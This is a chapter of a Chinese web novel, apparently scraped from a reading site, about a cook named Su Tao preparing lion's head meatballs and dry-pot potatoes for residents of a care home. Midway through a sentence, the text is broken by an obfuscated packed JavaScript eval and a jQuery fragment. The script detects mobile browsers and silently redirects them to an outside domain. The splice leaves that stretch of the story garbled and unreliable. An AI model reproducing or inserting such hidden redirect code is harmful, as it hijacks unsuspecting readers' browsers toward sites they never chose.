中午的主菜，苏桃选择的是一道清炖蟹粉狮子头。做狮子头，最重要的就是选材。猪肉一定要选择新鲜肥瘦相间的，确保吃起来肥而不腻。五花肉或梅花肉都行，但五花肉肥肉要占到三成以下。


    将买来的肉切成碎丁，越碎越好，如果用绞肉机绞成肉泥，吃起来口感太过软烂，反而不如掺杂肉丁的狮子头更有嚼劲、更耐吃。


    肉馅儿准备好后，眉小艺在一旁将马蹄在水中浸泡以后，轻轻削去马蹄的外皮，剥出清白透亮的部分，将马蹄切成碎丁，待会儿要跟肉馅儿混合在一起。


    蟹粉是这道菜的点睛之处，但蟹黄有限，一般来说会放在整个团起来的狮子球顶端做装饰用。但为了确保肉团中含有蟹味儿，会将一些蟹肉掺入切剁好的猪肉中，提升一点香味。


    接着将猪肉、蟹肉和马蹄用手拌匀以后，苏桃叫眉小艺将馅料团成狮子头：“像这样抓起手心大小的一小团，不要只是搓，可以在两只手中来回倒几下。”


    眉小艺恍然大悟，因为每一颗狮子头分量比较足的缘故，这样倒反而会快一些。接着一个圆球就定型了，再把蟹黄点在狮子头的中心，黄黄的颜色像花蕊一般，让整颗狮子头的色泽更加好看。


    将狮子头放入大大的砂锅以内炖煮。这个过程要小火慢炖才能慢慢蒸腾出滋味儿，所以整个狮子头大约一个小时才将它从砂锅中捞出。在小碗内放少许肉汤，点入一颗小青菜，白色小碗内，粉红色的狮子头、黄色蟹粉、绿色青菜叶的搭配，让眉小艺忍不住感叹：“真好看呀！”


    新鲜熬炖出来的狮子头刚出锅，老人们饭吃到半途，就听见眉小艺在那边大喊：“狮子头来了！”


    老人章发红离得最近，苏桃从厨房端出来的时候，她首先闻到这个味道，差点香到栽跟头，连忙一个健步上前，端了一份清炖蟹粉狮子头。


    光是闻着味道就鲜香无比。咬下一口，软嫩Q弹，猪肉夹着蟹肉原本就鲜香，再加入马蹄，肉香中多了一股素雅的清脆。章发红不禁和身旁的袁天荟感慨：“听说这清炖蟹粉狮子头做的好了，可是国宴，没想到今天我因为小苏也有了这口福！”


    “是啊，清炖蟹粉狮子头一些老式酒楼也有做，不过上限特别高，做得好的特别好吃。我觉得小苏这个就能达到最高的标准了吧？我很难想象还有比这更好吃的清炖蟹粉狮子头，这真是非常惊艳了。”


    “我女儿上回来看我，还说呢，怎么胖了好些，看着都圆润起来了？那还不是因为小苏的饭菜啊！她做的可真好吃！”


    “是啊，咱都一大把年纪了，吃好喝好才是最重要。而且你这身材叫富态，哪里算得上是胖得那么夸张了，根本不用减肥的，多吃点才好。”袁天荟笑呵呵道。


    吃饱了饭，袁天荟摸了摸微微鼓起来的肚皮，说道，“今天好像有理发师过来给老人剪发，优惠是吧？”


    “是啊，每月来两次，剪短发5块钱，长发10块，都是老师傅，平时在这一带，搬个凳子过来就能剪发。如果有想剪的直接坐上，人家师傅速度又快，剪得又好，比理发店要优惠多了。”


    “行，我这头发有点长了，下午也叫他们剪一剪。”


    午餐结束，苏桃和眉小艺分别回到自己的宿舍休息。等到下午，果真来了几个剃头师傅，年纪都不小，应该是祖传下来的手艺。工具也很简单，摆了几个小凳子在院子里。苏桃有些好奇，从窗户看出去，有些老人一见人来了，就提前占座坐上去。


    老人宣奇茂捋了捋头发说：“夏天了，天太热，师傅，你帮我直接拿推子把头发推光得了，凉快。”


    “那我可真推了啊，大哥。”


    “推吧，每年夏天我都要推一次。”


    聊着聊着，他们把话题转移到苏桃身上。理发师惊叹：“嘿，大哥，你这头发上次我剃的时候，我记得还是颜色发白，怎么这会儿都长出一些黑发？”


    宣奇茂笑笑：“看，我就说吧！我还让我老伴儿看来着，她也说我这两鬓边儿上的白发，已经开始长出黑黑的新发来了。”


    “这是您保养得好。”


    “哪有，药物还是之前那些。不过最近吃的好了，气血足了，我整个人都像焕发新生一样。可能头发也换发新生了吧，所以新发蹭蹭往外冒。”


    “嚯！什么饭菜能达到这种效果？”


    “当然是我们这儿大厨的饭菜，你们给院儿里这么多老人剪完估计也不早了，今天不如师傅你留下来，晚上尝一尝这里的饭菜你就知道了。”


    “真能有这么好吃？我听说一般搭配营养的菜，味道都不好。”


    “那你是没遇上好厨子，不知道我们小苏呀，做的饭菜就是既营养又好吃的！”


    “行，既然您这么认可，那我可得尝一尝。”理发师李如圆笑着，拿起推子，在宣奇茂脑后一推下去，一块儿头发就掉落在地。


    苏桃看了看自己的头发，发尾也有些长了。她现在可没钱去那些昂贵的发廊理发厅什么的，动不动就要推销办卡。而且就算简单剪个头发，像她这样的长发，怎么也要50到100多，这还是普通的理发店。相比之下，这些理发师傅收的费用真的很低了，挺划算的。她也打算去剪一剪。


    于是等她站下楼排队的时候，刘阿姨看见她要剪发，拉着她的手，让她站到自己身前：“小苏，你先剪，我不着急。”


    苏桃有些不好意思，但她被刘阿姨推在身前，又看见理发师傅招手，说了句“谢谢阿姨”，走上前去。苏桃头发剪短了些，扎一个小小的马尾，但看起来清爽多了。眉小艺看见了，跑过来，上下打量着苏桃：“小苏姐，没想到这师傅剪得还真挺好。”


    苏桃回到食堂准备


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15704078|173116||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    晚上的饭菜。几道素菜中，其中有一道干锅土豆片儿。一听到干锅，眉小艺的眼睛就亮了：“我最喜欢吃各种干锅了，干锅花菜、干锅土豆片、干锅包菜粉丝我都喜欢，吃起来特别香，味道也浓郁。”


    “好，那你准备一些青红椒、蒜片，在里面增添一些风味儿。”


    “好。”眉小艺转身开始忙碌起来。苏桃处理完土豆，切成片儿以后要进行一次煎炸。煎的过程中油能少一点，不至于吃起来太油腻，但是要保证土豆表皮的焦脆。土豆要煎到表面微微焦黄的样子就可以将它盛出来了。


    眉小艺也跟着操作了一会儿，很快就能煎到和苏桃做出来差不多的程度。这样闻起来，土豆就变得香气四溢。


    接下来，锅热放油之后要放入五花肉，煸炒到微微卷起的程度，放入豆瓣酱，整个肉片的颜色就变得深色浓郁起来。把青红辣椒放进去，再加入蒜苗儿、洋葱等配菜。青红椒苏桃特意选择是不辣的品种，除了在口味上增添丰富度以外，还能让整道菜的配色更加好看。


    最后的步骤就是把土豆片全部丢入锅中，加入调料以后不停翻炒。干锅土豆片做好以后倒进大的食盆里，放在盛饭处。眉小艺拿出去的时候，往食堂外一看，玻璃门外头已经排上队了：“哇，食堂还没到点儿，怎么大家都来了？”


    苏桃说：“没关系，我这边马上做好，很快开饭。”旁边的几道菜也差不多了，因此将它们盛好倒在食盆里端出来。


    十分钟以后，眉小艺上前开门，老人们闻到香味，拿起托盘，步速飞快往盛饭处走去。每次打饭时候，荤素菜都没有一个不诱人的，光是看着那些好看的色泽，老人们就直流口水。


    老人沈雅欣在素菜中多加了一些干锅土豆片，米饭上也盖了一些，她是土豆的狂热爱好者，各种土豆类的菜品她都爱吃。


    打完了饭菜，她坐在座位上，尝了一口土豆片，眉开眼笑：“这土豆做得可真好吃啊！”


    她抬眼一看，几个理发师傅也刚刚给老人们理完发，收拾完剪头设备，从外面进来，李如圆就坐在她对面。她连忙说：“师傅，你也尝尝我们这儿小苏做的饭菜。”


    刚才一进食堂，剪头师傅李如圆也有些惊讶，什么？养老院的食堂味道能这么好闻！他还真以为养老院饭菜汤汤水水极其乏味呢。


    这会儿他盛了满满一托盘的菜，点点头，尝了一口干锅土豆片，“哎呦”一声忍不住叫出来：“真是好吃，我从来没吃过这么好吃的干锅土豆片。我爸以前在家老做这个，但他做的不正宗。你们这儿大厨的手艺可真好，比外头饭馆里做的还好吃呢！”


    “是吧，小苏的手艺吃过就没人说不好。”


    李如圆大口大口吃着饭菜，突然想起什么，问道：“对了，我就在这附近一片活动，家离得也不远，我平时能来这儿吃饭吗？”